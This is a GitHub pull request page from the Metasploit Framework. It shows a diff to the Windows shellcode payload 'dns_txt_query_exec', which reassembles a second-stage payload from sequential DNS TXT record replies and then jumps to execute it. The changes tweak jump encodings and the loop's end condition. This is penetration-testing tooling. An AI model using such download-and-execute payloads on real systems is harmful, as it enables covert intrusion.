Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Improved payload dns_txt_query_exec #1057

Merged
merged 16 commits into from Nov 16, 2012
Merged

Improved payload dns_txt_query_exec #1057

Changes from all commits
Commits
Show all changes
16 commits
Select commit Hold shift + click to select a range
e3a3fb1
merge
corelanc0d3r Oct 24, 2012
d9764bf
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Oct 29, 2012
5b6aca1
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Oct 30, 2012
6346f0d
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Oct 30, 2012
da4012a
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Oct 31, 2012
d0cf759
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 3, 2012
836a113
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 6, 2012
941f520
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 7, 2012
9fa3c34
restored original file
corelanc0d3r Nov 7, 2012
3273d93
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 8, 2012
da029ba
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 8, 2012
9b28a8d
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 9, 2012
2fc1e1e
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 9, 2012
fe1ecd8
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 12, 2012
a6de0a6
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
corelanc0d3r Nov 12, 2012
0bf92b5
improved payload dns_txt_query_exec
corelanc0d3r Nov 12, 2012
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
14 changes: 7 additions & 7 deletions modules/payloads/singles/windows/dns_txt_query_exec.rb
View file
Open in desktop
Expand Up @@ -160,7 +160,7 @@ def generate
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
jmp.i8 next_mod ; Process this module

; actual routine
start:
Expand Down Expand Up @@ -195,7 +195,7 @@ def generate
mov bl,0x61 ; first query, start with 'a'

dnsquery:
jmp get_dnsname ; get dnsname
jmp.i8 get_dnsname ; get dnsname

get_dnsname_return:
pop eax ; get ptr to dnsname (lpstrName)
Expand All @@ -215,7 +215,7 @@ def generate
call ebp ;
test eax, eax ; query ok ?
jnz jump_to_payload ; no, jump to payload
jmp get_query_result ; eax = 0 : a piece returned, fetch it
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it


get_dnsname:
Expand All @@ -225,9 +225,9 @@ def generate
get_query_result:
xchg #{bufferreg},edx ; save start of heap
pop #{bufferreg} ; heap structure containing DNS results
mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop
test eax,eax
jnz prepare_payload ; jmp to payload
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
cmp eax,1
jne prepare_payload ; jmp to payload
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply

Expand All @@ -243,7 +243,7 @@ def generate
push edi ;
inc ebx ; increment sequence
xchg #{bufferreg},edx ; restore start of heap
jmp dnsquery ; try to get the next piece, if any
jmp.i8 dnsquery ; try to get the next piece, if any

prepare_payload:
mov #{bufferreg},edx
Expand Down